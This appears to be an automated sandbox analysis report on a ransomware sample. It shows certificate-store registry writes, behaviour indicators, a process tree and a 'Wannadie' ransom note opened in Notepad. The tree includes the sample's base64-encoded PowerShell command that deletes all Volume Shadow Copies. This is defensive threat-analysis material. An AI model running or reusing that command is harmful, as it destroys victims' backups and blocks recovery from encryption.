030000000100000014000000a053375bfe84e8b748782c7cee15827a6af5a405140000000100000014000000142eb317b75856cbae500940e61faf9d8b14c2c6040000000100000010000000e829e65d7c4307d6fbc13c179e037a360f0000000100000020000000444ebd67bb83f8807b3921e938ac9178b882bd50aadb11231f044cf5f08df7ce190000000100000010000000f044424c506513d62804c04f719403f95c0000000100000004000000000800001800000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000001a05000030820516308202fea003020102021100912b084acf0c18a753f6d62e25a75f5a300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3230303930343030303030305a170d3235303931353136303030305a3032310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074310b300906035504031302523330820122300d06092a864886f70d01010105000382010f003082010a0282010100bb021528ccf6a094d30f12ec8d5592c3f882f199a67a4288a75d26aab52bb9c54cb1af8e6bf975c8a3d70f4794145535578c9ea8a23919f5823c42a94e6ef53bc32edb8dc0b05cf35938e7edcf69f05a0b1bbec094242587fa3771b313e71cace19befdbe43b45524596a9c153ce34c852eeb5aeed8fde6070e2a554abb66d0e97a540346b2bd3bc66eb66347cfa6b8b8f572999f830175dba726ffb81c5add286583d17c7e709bbf12bf786dcc1da715dd446e3ccad25c188bc60677566b3f118f7a25ce653ff3a88b647a5ff1318ea9809773f9d53f9cf01e5f5a6701714af63a4ff99b3939ddc53a706fe48851da169ae2575bb13cc5203f5ed51a18bdb150203010001a382010830820104300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030206082b0601050507030130120603551d130101ff040830060101ff020100301d0603551d0e04160414142eb317b75856cbae500940e61faf9d8b14c2c6301f0603551d2304183016801479b459e67bb6e5e40173800888c81a58f6e99b6e303206082b0601050507010104263024302206082b060105050730028616687474703a2f2f78312e692e6c656e63722e6f72672f30270603551d1f0420301e301ca01aa0188616687474703a2f2f78312e632e6c656e63722e6f72672f30220603551d20041b30193008060667810c010201300d060b2b0601040182df13010101300d06092a864886f70d01010b0500038202010085ca4e473ea3f7854485bcd56778b29863ad754d1e963d336572542d81a0eac3edf820bf5fccb77000b76e3bf65e94dee4209fa6ef8bb203e7a2b5163c91ceb4ed3902e77c258a47e6656e3f46f4d9f0ce942bee54ce12bc8c274bb8c1982fa2afcd71914a08b7c8b8237b042d08f908573e83d904330a472178098227c32ac89bb9ce5cf264c8c0be79c04f8e6d440c5e92bb2ef78b10e1e81d4429db5920ed63b921f81226949357a01d6504c10a22ae100d4397a1181f7ee0e08637b55ab1bd30bf876e2b2aff214e1b05c3f51897f05eacc3a5b86af02ebc3b33b9ee4bdeccfce4af840b863fc0554336f668e136176a8e99d1ffa540a734b7c0d063393539756ef2ba76c89302e9a94b6c17ce0c02d9bd81fb9fb768d40665b3823d7753f88e7903ad0a3107752a43d8559772c4290ef7c45d4ec8ae468430d7f2855f18a179bbe75e708b07e18693c3b98fdc6171252aafdfed255052688b92dce5d6b5e3da7dd0876c842131ae82f5fbb9abc889173de14ce5380ef6bd2bbd968114ebd5db3d20a77e59d3e2f858f95bb848cdfe5c4f1629fe1e5523afc811b08dea7c9390172ffdaca20947463ff0e9b0b7ff284d6832d6675e1e69a393b8f59d8b2f0bd25243a66f3257654d3281df3853855d7e5d6629eab8dde495b5cdb5561242cdc44ec6253844506decce005518fee94964d44eca979cb45bc073a8abb847c2 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 0f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877620000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 5c00000001000000040000000008000019000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e3620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae409000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877604000000010000001000000091de0625abdafd32170cbb25172a846720000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe -
Opens file in notepad (likely ransom note) 1 IoCs
Processes:
NOTEPAD.EXEpid process 3852 NOTEPAD.EXE -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exepowershell.exechrome.exechrome.exechrome.exechrome.exepid process 3908 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe 3908 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe 1020 powershell.exe 1020 powershell.exe 1020 powershell.exe 2688 chrome.exe 2688 chrome.exe 2036 chrome.exe 2036 chrome.exe 1264 chrome.exe 1264 chrome.exe 4708 chrome.exe 4708 chrome.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1020 powershell.exe Token: SeBackupPrivilege 2120 vssvc.exe Token: SeRestorePrivilege 2120 vssvc.exe Token: SeAuditPrivilege 2120 vssvc.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
chrome.exepid process 2036 chrome.exe 2036 chrome.exe 2036 chrome.exe 2036 chrome.exe 2036 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exefirefox.exefirefox.exechrome.exedescription pid process target process PID 3908 wrote to memory of 1020 3908 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe powershell.exe PID 3908 wrote to memory of 1020 3908 767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe powershell.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 284 wrote to memory of 1888 284 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2264 wrote to memory of 3628 2264 firefox.exe firefox.exe PID 2036 wrote to memory of 3952 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3952 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 3332 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 2688 2036 chrome.exe chrome.exe PID 2036 wrote to memory of 2688 2036 chrome.exe chrome.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe"C:\Users\Admin\AppData\Local\Temp\767c428b39eea2af874a39a4039c3b42bd51d80c53c8a420134b5297e32f909a.bin.sample.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3204
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2120
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\3258mn_Wannadie.txt1⤵
- Opens file in notepad (likely ransom note)
PID:3852
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:284 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵PID:1888
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
PID:3628
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0xa8,0xcc,0xd0,0x6c,0xd4,0x7ffa06eba380,0x7ffa06eba390,0x7ffa06eba3a02⤵PID:3952
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1588 /prefetch:22⤵PID:3332
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1856 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2688 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2032 /prefetch:82⤵PID:596
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2572 /prefetch:12⤵PID:3604
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2580 /prefetch:12⤵PID:1384
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3452 /prefetch:12⤵PID:3284
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:12⤵PID:3640
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:12⤵PID:2216
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:12⤵PID:2680
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4312 /prefetch:82⤵PID:2592
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4220 /prefetch:12⤵PID:908
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:12⤵PID:3968
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3260 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1264 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3256 /prefetch:82⤵PID:2620
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:12⤵PID:3604
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3168 /prefetch:82⤵PID:4144
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5624 /prefetch:82⤵PID:4172
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5248 /prefetch:82⤵PID:4228
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5900 /prefetch:82⤵PID:4312
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6024 /prefetch:82⤵PID:4428
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5720 /prefetch:82⤵PID:4460
-
